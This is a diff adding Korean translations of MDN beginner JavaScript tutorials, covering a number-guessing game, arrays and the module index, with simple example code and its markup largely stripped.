다음의 코드를 저장하고 브라우저의 페이지에서 보이도록 새로고침 해보자. 개발자 도구 JavaScript 콘솔을 열고 아래 표시된 에제를 입력 해보자. 표시된대로 정확히 입력하고 Return/Enter 키를 누른 후 어떤 결과가 반환되는지 보자. 브라우저 개발자 도구에 쉽게 액세스 할 수 없는 경우, 아래 표시된 간단한 콘솔을 사용 할 수 있다:

+ + + +

{{ EmbedLiveSample('Hidden_code', '100%', 300) }}

+ +

먼저 산술 연산자를 살펴보자.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
연산자이름
+더하기           6 + 9
-빼기20 - 15
*곱하기3 * 7
/나누기10 / 5
+ +

또한 + 연산자는 문자열들을 서로 연결할때에도 사용된다.(이를 프로그래밍에서 '문자열접합'이라고 한다.) 다음 코드를 입력해보자.

+ +
var name = 'Bingo';
+name;
+var hello = ' says hello!';
+hello;
+var greeting = name + hello;
+greeting;
+ +

그리고 '복합 대입 연산자' 라고 불리는 소스를 간단하게 하는 연산자도 있다. 예를 들어, 단순히 새로운 문자열을 기존에 있는 문자열에 추가하고, 그 결과를 반환받는 일을 하고 있다면 다음 코드를 사용할 수 있다.

+ +
name += ' says hello!';
+ +

이 코드는 다음 코드와 같은 의미이다.

+ +
name = name + ' says hello!';
+ +

참/거짓을 판명할때 (조건문이 있을 때 — {{anch("Conditionals", "아래")}}를 참조하자) , 비교연산자를 사용한다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
OperatorNameExample
===Strict equality (is it exactly the same?)5 === 2 + 4
!==Non-equality (is it not the same?)'Chris' !== 'Ch' + 'ris'
<Less than10 < 6
>Greater than10 > 20
+ +

조건문

+ +

함수가 반환되었을때, 자리표시자 메시지(Placeholder Message, 텍스트를 입력할 때 무엇을 입력해야되는지 알려주는 기능 - 역자)를 표시하지 않는 것이 더 좋을 것이라고 본다 . 우리는 사용자의 추측이 옳은지, 틀린지만 보고 적절하게 응답하도록만 할 것이다.

+ +

이 시점에서 이제, 현재 checkGuess()함수를 다음과 같이 수정해보자.

+ +
function checkGuess() {
+  var userGuess = Number(guessField.value);
+  if (guessCount === 1) {
+    guesses.textContent = 'Previous guesses: ';
+  }
+  guesses.textContent += userGuess + ' ';
+
+  if (userGuess === randomNumber) {
+    lastResult.textContent = 'Congratulations! You got it right!';
+    lastResult.style.backgroundColor = 'green';
+    lowOrHi.textContent = '';
+    setGameOver();
+  } else if (guessCount === 10) {
+    lastResult.textContent = '!!!GAME OVER!!!';
+    setGameOver();
+  } else {
+    lastResult.textContent = 'Wrong!';
+    lastResult.style.backgroundColor = 'red';
+    if(userGuess < randomNumber) {
+      lowOrHi.textContent = 'Last guess was too low!';
+    } else if(userGuess > randomNumber) {
+      lowOrHi.textContent = 'Last guess was too high!';
+    }
+  }
+
+  guessCount++;
+  guessField.value = '';
+  guessField.focus();
+}
+ +

꽤 코드가 길다. 각 부분별로 이제 하나하나씩 파헤쳐보자!

+ + + +
guessCount === 1
+ +

참이라면, guessess 변수의 텍스트는 "Previous guesses: "가 된다. 그렇지 않다면, 실행되지 않는다.

+ + + +

이벤트

+ +

여기서 우리는 checkGuess() 함수를 잘 구현해 보았지만, 아직 호출하지 않았기 때문에 아무런 역할을 하지 않는다. 실제로는  "Submit guess" 버튼이 눌러져야 호출받도록 할 것이므로, 이벤트를 사용해서 구현할 것이다. 이벤트란 버튼을 클릭하고, 페이지가 로딩되고, 비디오가 실행되는 등 코드가 실행되기 위한 응답으로 브라우저상에서 일어나는 액션이다. 이벤트가 발생하여 발생된 이벤트를 처리하는 것을 이벤트 리스너(event listeners)라 하고, 이벤트가 발생했을 때 실행되는 코드 블록을 이벤트 핸들러(event handlers)라고 한다.

+ +

checkGuess()함수의 중괄호가 끝난뒤, 다음의 코드를 추가해보자.

+ +
guessSubmit.addEventListener('click', checkGuess);
+ +

이는 guessSubmit 버튼에 이벤트 리스너를 추가하는 과정이다. 두개의 입력(인수)를 가지는 addEventListner메소드이다. 문자열로서 클릭을 처리하는 이벤트이고, 이벤트가 발생했을 때 실행하고자 하는 코드는 checkGuess() 함수이다. 특히, {{domxref("EventTarget.addEventListener", "addEventListener()")}}안에서는 함수의 괄호가 필요없다는 것에 주의하자.

+ +

코드를 저장하고 새로고침해보자, 예제가 실행됨을 볼 수 있다.  아직 게임이 종료되면 실행되는 setGameOver() 함수가 정의되지 않았으므로, 정답을 맞췄을때나 추측에 상관없이 실행되었다면 프로그램의 실행이 멈춰야 한다. 필요한 코드를 작성하고 함수를 추가해보자.

+ +

함수로 프로그램 종료하기

+ +

setGameOver()함수를 코드 아래쪽에 추가하고 살펴보자.  자바크스립트 코드의 맨 마지막에 추가하도록 하자.

+ +
function setGameOver() {
+  guessField.disabled = true;
+  guessSubmit.disabled = true;
+  resetButton = document.createElement('button');
+  resetButton.textContent = 'Start new game';
+  document.body.appendChild(resetButton);
+  resetButton.addEventListener('click', resetGame);
+}
+ + + +

물론 이 함수도 정의해야 한다. 또다시 코드의 가장 아래에 다음 코드를 추가하자.

+ +
function resetGame() {
+  guessCount = 1;
+
+  var resetParas = document.querySelectorAll('.resultParas p');
+  for (var i = 0 ; i < resetParas.length ; i++) {
+    resetParas[i].textContent = '';
+  }
+
+  resetButton.parentNode.removeChild(resetButton);
+
+  guessField.disabled = false;
+  guessSubmit.disabled = false;
+  guessField.value = '';
+  guessField.focus();
+
+  lastResult.style.backgroundColor = 'white';
+
+  randomNumber = Math.floor(Math.random() * 100) + 1;
+}
+ +

앞서 보는 함수 블록 코드는 게임이 어떻게 시작되고 사용자가 다시 시작할 수 있도록 초기화하는 코드이다.

+ + + +

축하한다! 이제 여기까지 완료됬다면 프로그램이 정상적으로 작동될 것이다.

+ +

이제 살펴볼 것은 코드에서 볼 수 있는 중요한 부분중 하나이다.

+ +

반복문

+ +

위 코드상에서  자세히 살펴볼 것 중 하나는 for 반복문에 관한 부분이다. 반복문은 프로그래머가 지정한 코드의 부분을 조건에 부합할때까지 계속 실행시키는 등 프로그래밍에서 중요한 개념 중 하나이다.

+ +

시작에 앞서, browser developer tools JavaScript console에 들어가서, 다음을 입력해보자.

+ +
for (var i = 1 ; i < 21 ; i++) { console.log(i) }
+ +

어떤 일이 일어났는가? 숫자 1부터 20까지 차례대로 콘솔창에 표시됨을 볼 수 있다.이는 반복이라는 컨셉 때문이다. for 반복문에는 세 개의 입력값(아규먼트)이 있다.

+ +
    +
  1. 시작값: 위 코드에서는 1부터 시작하였지만, 프로그래머 임의대로 지정할 수 있다. i 대신 다른 변수를 사용할 수 있지만, 짧고 기억하기 쉬운 관습으로 인해 간단한 알파벳 i가 주로 사용된다.
  2. +
  3. 종료 조건: 여기서는 i < 21 라고 명시되었다. 이는 i가 21보다 작을때까지 반복이 이루어진다는 말이다. i가 21이 되었을 때, 반복은 종료된다.
  4. +
  5. 증감식:  i++이라 명시된 것은 i에 1씩 더하라는 의미이다.반복은 i의 값에 따라 i가 21이 될때까지 반복된다. 여기서는 {{domxref("Console.log", "console.log()")}} 를 사용하여 콘솔창에 반복적으로 i의 값을 출력시키는 간단한 예제를 보였다.
  6. +
+ +

숫자 맞추기 프로그램의 앞선 resetGame() 함수에서 반복문을 한 번 살펴보자.

+ +
var resetParas = document.querySelectorAll('.resultParas p');
+for (var i = 0 ; i < resetParas.length ; i++) {
+  resetParas[i].textContent = '';
+}
+ +

이 코드에서는 {{domxref("Document.querySelectorAll", "querySelectorAll()")}} 메소드를 사용하여 <div class="resultParas">안의 모든 문장들의 배열을 변수로 만들고 있다. 그러고 반복을 통해 각각의 배열 원소에 접근하여, 내용을 제거하게 된다.

+ +

객체에 대한 간단한 고찰

+ +

이제 마지막으로 한단계 더 나아갈 수 있는 부분을 배워보자.  var resetButton; 아래에 다음 코드를 추가해보자.(코드 위쪽에 있으니 참고하고, 저장까지 해보자)

+ +
guessField.focus();
+ +

여기서는 {{domxref("HTMLElement.focus", "focus()")}} 메소드를 통해 자동으로 커서를 페이지가 뜨자마자 {{htmlelement("input")}} 텍스트 필드에 위치시킬 수 있기때문에, 사용자가 처음에 폼 필드를 클릭할 필요없이 바로 글을 쓸 수 있게 된다. 아무것도 아닌 것처럼 보이지만, 사용자에게 굉장히 편리함을 주기 때문에 프로그램에서 좋은 효과를 가져다 준다.

+ +

여기서 이루어지는 일들을 좀 더 자세히 분석해보자. 자바스크립트에서는 모든 것이 객체이다. 객체란 하나의 그룹안에 관계되는 기능(함수)들을 모아놓은 것이다.혼자서 객체를 생성할 수 있겠지만, 아직은 이르기 때문에 나중에 살펴보자. 지금은 간단히 브라우저에 내장된 객체를 사용함으로서 좀 더 많은 일들을 해보는 것에 중점을 두자.

+ +

여기서는, 먼저 HTML의 입력 폼 필드의 정보를 저장하는 guessField 변수를 생성해보자. (다음 코드는 맨 위의 변수 선언문에서 볼 수 있다.)

+ +
var guessField = document.querySelector('.guessField');
+ +

이 정보를 얻기 위해, {{domxref("document")}} 객체의 {{domxref("document.querySelector", "querySelector()")}}메소드를 사용한다. querySelector()는 특정 정보(필요한 요소를 추출하는 CSS selector)를 가져오는 역할을 한다.

+ +

이제 {{htmlelement("input")}} 요소의 정보를 담고 있기 때문에, 속성(기본적으로 객체안의 변수나 변수 변경이 없는 경우)과 메소드(기본적으로 객체안의 함수)를 접근할 수 있게 된다. 입력 요소에 이용 가능한 메소드 중 하나가 focus()이며, 따라서 이 메소드를 통해 텍스트 입력에 커서를 가져다 놓을 수 있는 것이다.

+ +
guessField.focus();
+ +

폼 요소의 정보를 가지고 있지 않은 변수는 focus() 를 사용할 수 없다. 예를 들어,  guesses 변수는 {{htmlelement("p")}} 요소의 정보를 가지고 있고, guessCount 변수는 단순한 숫자를 포함하고 있다.

+ +

브라우저 객체로 다루기

+ +

이제 브라우저를 객체로서 다뤄보자.

+ +
    +
  1. 먼저, 브라우저에서 프로그램을 연다
  2. +
  3. 다음 browser developer tools을 실행하고, 자바스크립트 콘솔창을 활성화한다.
  4. +
  5.  guessField의 입력과 콘솔에서 {{htmlelement("input")}} 요소를 포함한 변수를 보여줄 것이다. 변수를 포함한 실행환경 상에 존재하는 객체이름을 콘솔이 자동으로 완성하는 것도 알아야한다.
  6. +
  7. 다음 코드를 입력하자 +
    guessField.value = 'Hello';
    + value 속성은 텍스트 필드를 통해 입력되는 현재값을 나타낸다. 커맨드 창에 입력하고 어떤 일이 일어나는지 살펴보자.
  8. +
  9. guesses에 입력하고 반환값을 살펴보자. 콘솔 창에서 변수가 {{htmlelement("p")}} 요소가 있음을 보여줄 것이다.
  10. +
  11. 다음 코드를 입력하자. +
    guesses.value
    + 브라우저에서 아무런 문장이 없기 때문에, undefined라고 리턴될 것이다.
  12. +
  13. 대신, 다음 코드에서 문자를 변경/추가하기 위해서는 {{domxref("Node.textContent", "textContent")}} 속성을 사용한다. +
    guesses.textContent = 'Where is my paragraph?';
    +
  14. +
  15. 그러면 이제 다양한 작업을 할 수 있으니, 하나하나 시도해보자. +
    guesses.style.backgroundColor = 'yellow';
    +guesses.style.fontSize = '200%';
    +guesses.style.padding = '10px';
    +guesses.style.boxShadow = '3px 3px 6px black';
    + 페이지의 모든 요소들을 style 속성을 가지고 있기때문에, 모든 요소에 적용가능한 인라인 CSS 스타일을 포함한 속성을 가진 객체를 포함하고 있음을 알 수 있다. 이는 자바스크립트 상에서 CSS 스타일을 동적으로 지정할 수 있음을 알 수 있다.
  16. +
+ +

결론

+ +

여기까지 예제를 빌드해보는 과정이었다.  마지막으로 작성된 코드를 실행해보거나,play with our finished version here. 만약 코드가 실행되지 않는다면, source code를 참고하자.

+ +

{{PreviousMenuNext("Learn/JavaScript/First_steps/What_is_JavaScript", "Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps")}}

diff --git a/files/ko/learn/javascript/first_steps/arrays/index.html b/files/ko/learn/javascript/first_steps/arrays/index.html new file mode 100644 index 0000000000..0cc11ca43f --- /dev/null +++ b/files/ko/learn/javascript/first_steps/arrays/index.html @@ -0,0 +1,664 @@ +--- +title: Arrays +slug: Learn/JavaScript/First_steps/Arrays +translation_of: Learn/JavaScript/First_steps/Arrays +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps/Silly_story_generator", "Learn/JavaScript/First_steps")}}
+ +

배열은 하나의 변수에 다수의 데이터를 저장하는 좋은 방법이며, 이 글에서 배열의 생성, 검색, 추가, 삭제 등과 같은 내용을 통해 배열에 대해 알아볼 것입니다.

+ + + + + + + + + + + + +
선행요소:기초 컴퓨터 활용지식, HTML, CSS 그리고 JavaScript에 대한 기초 지식.
목적:배열이 무엇인지 이해를 하고 JavaScript에서 어떻게 활용하는지 배운다.
+ +

배열이란?

+ +

배열은 다수의 변수들을 가지고 있는 하나의 객체이다("list-like objects"). 배열 객체는 변수에 저장 해서 사용 할 수 있고, 변수에 저장된 다른 값들과 거의 동일한 방식으로 쓸 수 있다. 일반적인 값들과 배열의 다른점은 내부의 값에 각각 접근할 수 있으며, 루프를 통해 매우 효율적으로 작업이 가능하다는 것이다. 예를 들어 우리가 흔히 보는 영수증의 제품목록, 가격 등이 배열이라고 볼 수 있으며 그 가격들의 총합을 루프를 통하여 구할 수 있다.

+ +

만약 배열이 없다면 다수의 값이 있을 때 각 값의 하나의 변수에 일일이 저장해야 하는 문제가 생길 것이며, 해당 값들을 출력하거나 연산할 때 한땀한땀 개고생 해야한다. 이때문에 코드를 작성하는데 오래걸리며, 비효율적이고 실수를 할 가능성이 높아진다. 오늘 산 물건이 10개 정도라면 값을 더하는데 얼마 걸리지 않겠지만, 100개나 1000개 쯤 구입을 했다면? 잠은 다잔거다.

+ +

이전에 배웠던 것처럼, JavaScript 콘솔에서 몇가지 예제를 통해 배열의 쌩기초 부터 알아보자. 아래에 우리가 제공하는 콘솔이 하나 있다.(이 콘솔을 새 탭이나 창을 열어서 사용 하거나, 당신이 선호하는 개발자 콘솔을 사용하면된다.)

+ + + +

{{ EmbedLiveSample('Hidden_code', '100%', 300, "", "", "hide-codepen-jsfiddle") }}

+ +

배열 만들기

+ +

배열은 대괄호로 구성되며 쉼표로 구분 된 항목들을 포함합니다.

+ +
    +
  1. 쇼핑 목록을 배열에 저장하고 싶다면 다음과 같이하면됩니다. 콘솔에 다음 행을 입력하십시오. +
    var shopping = ['bread', 'milk', 'cheese', 'hummus', 'noodles'];
    +shopping;
    +
  2. +
  3. 아래 배열의 각 항목은 문자열이지만 배열의 모든 항목 (문자열, 숫자, 개체, 다른 변수, 심지어 다른 배열)을 저장할 수 있습니다. 동일한 형태의 항목만 넣거나(아래 sequence처럼)  다양한 형태의 항목을 함께 넣을수(아래 random 처럼) 있습니다. 모두 숫자, 문자열 등일 필요는 없습니다. 다음을 입력해보세요. +
    var sequence = [1, 1, 2, 3, 5, 8, 13];
    +var random = ['tree', 795, [0, 1, 2]];
    +
  4. +
  5. 다음으로 넘어가기 전 여러분 마음대로 배열을 만들어 보세요
  6. +
+ +

배열 항목의 접근과 수정 

+ +

그런 다음 문자열의 문자에 접근했던 것과 같은 방법으로 괄호 표기법을 사용하여 배열의 개별 항목을 접근 할 수 있습니다.

+ +
    +
  1. 콘솔에 다음을 입력하세요: +
    shopping[0];
    +// returns "bread"
    +
  2. +
  3. 단일 배열 항목에 새 값을 제공하여, 배열의 항목을 수정할 수도 있습니다.
    + 한번 해보세요 : +
    shopping[0] = 'tahini';
    +shopping;
    +// shopping will now return [ "tahini", "milk", "cheese", "hummus", "noodles" ]
    + +
    참고: 전에도 말했지만, 컴퓨터는 숫자를 셀때 0 부터 시작한다!
    +
  4. +
  5. 배열 내부의 배열을 다중배열이라고 합니다.대괄호 두개를 함께 연결하여 다른 배열 안에있는 배열 내부의 항목에 접근 할 수 있습니다.예를 들어 무작위 배열(random array) 안의 세 번째 항목 인 배열 내부 항목 중 하나에 접근하려면(앞 섹션 참조) 다음과 같이 할 수 있습니다.: +
    random[2][2];
    +
  6. +
  7. 다음 단계로 넘어가기 전에 충분히 배열 예제를 연습해보세요.
  8. +
+ +

배열의 갯수 알아내기

+ +

{{jsxref("Array.prototype.length","length")}} 속성을 사용해서 배열에 들어 있는 문자열의 갯수를 알아낼 수 있다.(갯수가 얼마나 많이 있던지) 다음을 보자.:

+ +
sequence.length;
+// should return 7
+ +

다른 용도로 사용되기도 하는데, loop문으로 배열의 모든 항목을 반복적으로 값을 대입하는데 일반적으로 사용한다. 예를 들면:

+ +
var sequence = [1, 1, 2, 3, 5, 8, 13];
+for (var i = 0; i < sequence.length; i++) {
+  console.log(sequence[i]);
+}
+ +

다음 article에서 반복문에 대해서 자세히 다루겠지만 다음과 같이 요약할 수 있다.

+ +
    +
  1. 배열을 반복문으로 돌릴때 item의 시작번호는 0 입니다.
  2. +
  3. 배열의 갯수와 같은 번호일때 반복문을 중단하세요. 어떤 길이의 배열에서도 반복문이 돌지만, 이 경우에선 반복문이 7번 돌고 멈춥니다.(반복문을 끝내기를 원하는 마지막 item의 숫자는 6입니다.)
  4. +
  5. 각각의 item에 대해 console.log()을 사용해 브라우저 콘솔창으로 확인해보세요.
  6. +
+ +

유용한 배열 method

+ +

이번 섹션에서는 문자열을 배열 항목으로 분할하고, 다시 배열 항목을 문자열로 변환하며 새로운 항목을 배열에 추가할 수 있는 배열 관련 method를 알아봅니다.

+ +

문자열을 배열로, 배열을 문자열로 변환하기

+ +

프로그램을 만들다보면 종종 긴 문자열로 이루어진 원시 데이터를 제공받게 될 것이고, 원시 데이터를 정제하여 더 유용한 데이터를 추출해 테이블 형태로 표시하는 등 작업을 수행해야 합니다. 이러한 작업을 위해 {{jsxref("String.prototype.split()","split()")}} method를 사용할 수 있습니다.  {{jsxref("String.prototype.split()","split()")}} method는 사용자가 원하는 매개변수로 문자열을 분리하여 배열로 표현해줍니다.

+ +
+

Note: 사실 String method이지만, 배열과 함께 사용하기 때문에 여기에 넣었습니다.

+
+ +
    +
  1. {{jsxref("String.prototype.split()","split()")}} method가 어떻게 작동하는지 살펴봅시다. 우선 콘솔에서 아래와 같은 문자열을 만듭니다: +
    var myData = 'Manchester,London,Liverpool,Birmingham,Leeds,Carlisle';
    +
  2. +
  3. 콤마로 분리하기 위해 단일 매개변수를 집어넣습니다.: +
    var myArray = myData.split(',');
    +myArray;
    +
  4. +
  5. 마지막으로 새로운 배열의 길이를 찾고 이 배열에서 몇 가지 항목을 검색해 봅니다.: +
    myArray.length;
    +myArray[0]; // the first item in the array
    +myArray[1]; // the second item in the array
    +myArray[myArray.length-1]; // the last item in the array
    +
  6. +
  7. 또한 아래 방법처럼 {{jsxref("Array.prototype.join()","join()")}} method를 사용하여 배열을 다시 문자열로 만들 수 있습니다. : +
    var myNewString = myArray.join(',');
    +myNewString;
    +
  8. +
  9. 배열을 문자열로 변환하는 또 다른 방법은 {{jsxref("Array.prototype.toString()","toString()")}} method를 사용하는 것 입니다. toString() 은 join() 과 달리 매개변수가 필요 없어서 더 간단하지만, 제한이 더 많습니다. join() 을 사용하면 다른 구분자를 지정할 수 있습니다. (콤마 말고 다른 매개변수를 사용하여 4단계를 실행 해보세요.) +
    var dogNames = ['Rocket','Flash','Bella','Slugger'];
    +dogNames.toString(); //Rocket,Flash,Bella,Slugger
    +
  10. +
+ +

배열에 item을 추가하고 제거하기

+ +

이번엔 배열에 item을 추가하고 제거하는 방법을 알아볼 차례 입니다. 위에서 만든 myArray 를 다시 사용하겠습니다. 섹션을 순서대로 진행하지 않았다면 아래와 같은 배열을 만들어주세요.:

+ +
var myArray = ['Manchester', 'London', 'Liverpool', 'Birmingham', 'Leeds', 'Carlisle'];
+ +

먼저, 배열의 맨 끝에 item을 추가하거나 제거하기 위해 각각{{jsxref("Array.prototype.push()","push()")}} and {{jsxref("Array.prototype.pop()","pop()")}} 를 사용할 수 있습니다.

+ +
    +
  1. 먼저 push() 를 사용합니다. — 배열의 끝에 추가할 item을 반드시 하나 이상 포함해야 한다는 점을 기억하고 아래와 같이 따라해보세요: + +
    myArray.push('Cardiff');
    +myArray;
    +myArray.push('Bradford', 'Brighton');
    +myArray;
    +
    +
  2. +
  3. method 호출이 완료되면 배열의 item이 변한것을 확인할 수 있습니다. 새로운 변수에 배열을 저장하려면 아래와 같이 사용합니다.: +
    var newLength = myArray.push('Bristol');
    +myArray;
    +newLength;
    +
  4. +
  5. 배열의 마지막 item을 제거하는 방법은 pop()으로 매우 간단합니다. 아래와 같이 따라해보세요: +
    myArray.pop();
    +
  6. +
  7. method호출이 완료되면 배열에서 item이 제거된 것을 확인할 수 있습니다. 아래 방법을 사용하여 제거될 item을 변수에 저장할 수 있습니다.: +
    var removedItem = myArray.pop();
    +myArray;
    +removedItem;
    +
  8. +
+ +

{{jsxref("Array.prototype.unshift()","unshift()")}} 와{{jsxref("Array.prototype.shift()","shift()")}}는 push() 와 pop()과 유사하게 동작합니다. 다만, 배열의 맨 끝이 아닌 제일 처음 부분의 item을 추가하거나 제거합니다..

+ +
    +
  1. 먼저 unshift() 를 사용해봅니다.: + +
    myArray.unshift('Edinburgh');
    +myArray;
    +
  2. +
  3. 이제 shift()를 사용해봅니다.! +
    var removedItem = myArray.shift();
    +myArray;
    +removedItem;
    +
  4. +
+ +

Active learning: Printing those products!

+ +

Let's return to the example we described earlier — printing out product names and prices on an invoice, then totaling the prices and printing them at the bottom. In the editable example below there are comments containing numbers — each of these marks a place where you have to add something to the code. They are as follows:

+ +
    +
  1. Below the // number 1 comment are a number of strings, each one containing a product name and price separated by a colon. We'd like you to turn this into an array and store it in an array called products.
  2. +
  3. On the same line as the // number 2 comment is the beginning of a for loop. In this line we currently have i <= 0, which is a conditional test that causes the for loop to stop immediately, because it is saying "stop when i is no longer less than or equal to 0", and i starts at 0. We'd like you to replace this with a conditional test that stops the loop when i is no longer less than the products array's length.
  4. +
  5. Just below the // number 3 comment we want you to write a line of code that splits the current array item (name:price) into two separate items, one containing just the name and one containing just the price. If you are not sure how to do this, consult the Useful string methods article for some help, or even better, look at the {{anch("Converting between strings and arrays")}} section of this article.
  6. +
  7. As part of the above line of code, you'll also want to convert the price from a string to a number. If you can't remember how to do this, check out the first strings article.
  8. +
  9. There is a variable called total that is created and given a value of 0 at the top of the code. Inside the loop (below // number 4) we want you to add a line that adds the current item price to that total in each iteration of the loop, so that at the end of the code the correct total is printed onto the invoice. You might need an assignment operator to do this.
  10. +
  11. We want you to change the line just below // number 5 so that the itemText variable is made equal to "current item name — $current item price", for example "Shoes — $23.99" in each case, so the correct information for each item is printed on the invoice. This is just simple string concatenation, which should be familiar to you.
  12. +
+ + + +

{{ EmbedLiveSample('Playable_code', '100%', 730, "", "", "hide-codepen-jsfiddle") }}

+ +

실습: Top 5 searches

+ +

A good use for array methods like {{jsxref("Array.prototype.push()","push()")}} and {{jsxref("Array.prototype.pop()","pop()")}} is when you are maintaining a record of currently active items in a web app. In an animated scene for example, you might have an array of objects representing the background graphics currently displayed, and you might only want 50 displayed at once, for performance or clutter reasons. As new objects are created and added to the array, older ones can be deleted from the array to maintain the desired number.

+ +

In this example we're going to show a much simpler use — here we're giving you a fake search site, with a search box. The idea is that when terms are entered in the search box, the top 5 previous search terms are displayed in the list. When the number of terms goes over 5, the last term starts being deleted each time a new term is added to the top, so the 5 previous terms are always displayed.

+ +
+

Note: In a real search app, you'd probably be able to click the previous search terms to return to previous searches, and it would display actual search results! We are just keeping it simple for now.

+
+ +

To complete the app, we need you to:

+ +
    +
  1. Add a line below the // number 1 comment that adds the current value entered into the search input to the start of the array. This can be retrieved using searchInput.value.
  2. +
  3. Add a line below the // number 2 comment that removes the value currently at the end of the array.
  4. +
+ + + +

{{ EmbedLiveSample('Playable_code_2', '100%', 700, "", "", "hide-codepen-jsfiddle") }}

+ +

결론

+ +

위에 글 읽어보니, 배열이 꽤 유용해 보인다는거 알꺼임; JavaScript에서 배열은 겁나 많이 쓰인다. 배열의 모든 항목 마다 똑같은 작업을 수행하려고 루프(loop)를 돌리니까 같이 알아놓으면 개꿀. 다음 모듈(챕터)에서 루프(loop)에 관한 기초부터 알려줄꺼니까 쫄지 말고 달려. 갈 길이 멀다. 이 모듈은 이제 다 봤어!

+ +

이제 여기서 남은건 이 모듈의 평가뿐이야. 앞에 보여준 글(articles)을 얼마나 이해 했는지 테스트 할꺼임.

+ +

참고

+ + + +

{{PreviousMenuNext("Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps/Silly_story_generator", "Learn/JavaScript/First_steps")}}

+ +

이번 모듈에서 배울것들

+ + diff --git a/files/ko/learn/javascript/first_steps/index.html b/files/ko/learn/javascript/first_steps/index.html new file mode 100644 index 0000000000..42f6e67418 --- /dev/null +++ b/files/ko/learn/javascript/first_steps/index.html @@ -0,0 +1,60 @@ +--- +title: JavaScript 첫걸음 +slug: Learn/JavaScript/First_steps +tags: + - Article + - Beginner + - CodingScripting + - Guide + - JavaScript + - Landing + - 'l10n:priority' +translation_of: Learn/JavaScript/First_steps +--- +
{{LearnSidebar}}
+ +

첫 과정에서는 "JavaScript가 뭔가요?", "어떻게 생겼나요?", "뭘 할 수 있나요?"와 같은 근본적인 질문을 먼저 해결한 뒤에 JavaScript를 직접 사용해봅니다. 그 다음으로는 변수, 문자열, 숫자, 배열 등 중요한 구성 성분을 하나씩 자세히 알아봅니다.

+ +

준비 과정

+ +

이번 과정을 시작하기 전에 JavaScript에 대해 몰라도 되지만, HTML, CSS와는 어느 정도 친숙해야 합니다. 우선 다음 과정부터 진행하시는게 좋습니다.

+ + + +
+

참고: 파일을 만들 수 없는 컴퓨터나 태블릿, 기타 장치에서 작업을 하신다면 예제 코드의 대부분을 JSBin이나 Thimble 같은 온라인 코딩 프로그램에서도 시험할 수 있습니다.

+
+ +

구성

+ +
+
JavaScript가 뭔가요?
+
MDN의 JavaScript 초급자 과정에 오신 걸 환영합니다! 첫 글은 JavaScript를 넓게 보면서 "뭔가요?", "뭘 하나요?"와 같은 질문을 답변하고, 여러분이 JavaScript에 친숙해지도록 도와드립니다.
+
JavaScript에 발 담그기
+
JavaScript에 관한 이론과 용도를 약간 배우셨으니, 실용적인 따라해보기와 함께 하는 기초과정 단기 특강을 제공해드리겠습니다. 여기서는 간단한 "숫자 알아맞히기" 게임을 단계별로 차근차근 만들어봅니다.
+
어떤게 잘못됐나요? JavaScript 문제해결
+
이전 글에서 "숫자 알아맞히기" 게임을 만든 뒤에, 프로그램이 돌아가지 않는다는 것을 발견하실 겁니다. 두려워하지 마세요. 세 번째 글에서 JavaScript 프로그램의 오류를 찾고 고치는 팁을 배울 수 있습니다.
+
필요한 정보 저장하기 — 변수
+
앞선 글을 모두 읽으셨으면 이제 JavaScript가 뭔지, 뭘 할 수 있는지, 다른 웹 기술과 함께 어떻게 사용하는지, 주요 기능이 어떻게 생겼는지 등 넓은 윤곽을 그리실 수 있을겁니다. 이제 진짜 기초로 돌아가, JavaScript의 제일 기본적인 구성 요소를 어떻게 사용하는지 알아보겠습니다. 바로 변수입니다.
+
JavaScript의 기본 수학 — 숫자와 연산자
+
여기서는 JavaScript에서의 수학을 이야기하면서, 연산자와 다른 기능을 이리 저리 조합하여 숫자를 여러분의 뜻에 맞게 바꾸는 법을 배웁니다.
+
텍스트 다루기 — 문자열
+
우리의 시선을 이제 문자열로 돌릴 차례입니다. 프로그래밍에서 텍스트를 일컫는 단어죠. 이번 글에서는 JavaScript를 배울 때 문자열에 대해 알아둬야 하는 것, 예를 들어 문자열 생성, 문자열 안의 따옴표 처리, 문자열 합치기 등을 알아봅니다.
+
유용한 문자열 메서드
+
문자열의 기초를 탐구했으니, 한 단계 더 나아가 문자열의 길이 찾기, 문자열 합치고 나누기, 문자를 다른 문자로 치환하기 등 내장 메서드로 할 수 있는 유용한 작업에 대해 생각해봅니다.
+
배열
+
본 과정의 마지막 글에서는 배열에 대해 알아봅니다. 배열은 하나의 변수 이름 아래에 여러 데이터 목록을 저장하는 깔끔한 방법입니다. 배열이 왜 유용한지, 배열을 어떻게 생성하는지, 저장한 데이터를 회수하고, 추가하고, 제거하는 법 등을 배웁니다.
+
+ +

평가

+ +

다음 평가를 통해 JavaScript의 기초를 얼마나 이해했는지 시험할 수 있습니다.

+ +
+
바보같은 이야기 생성기
+
각자 배운 내용을 돌이켜보면서, 바보같은 이야기를 무작위로 만들어내는 앱을 제작해야 합니다. 행운을 빌어요!
+
diff --git a/files/ko/learn/javascript/first_steps/math/index.html b/files/ko/learn/javascript/first_steps/math/index.html new file mode 100644 index 0000000000..b240481e50 --- /dev/null +++ b/files/ko/learn/javascript/first_steps/math/index.html @@ -0,0 +1,422 @@ +--- +title: 자바스크립트의 기본적인 연산 - 숫자와 연산자 +slug: Learn/JavaScript/First_steps/Math +tags: + - 연산자 + - 자바스크립트 + - 진수 +translation_of: Learn/JavaScript/First_steps/Math +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps")}}
+ +

이 장은 자바스크립트의 연산에 대해 다룹니다. 능숙하게 숫자를 다루기 위해 어떻게 {{Glossary("Operator","operators")}} 와 그 외 기능을 사용하는지 알아봅니다.

+ + + + + + + + + + + + +
필요조건:기본적인 커퓨터 지식, HTML과 CSS에 대한 기본적인 이해, JavaScript의 이해
목표:자바스크립트 연산에 익숙해지기
+ +

모두가 수학을 좋아합니다

+ +

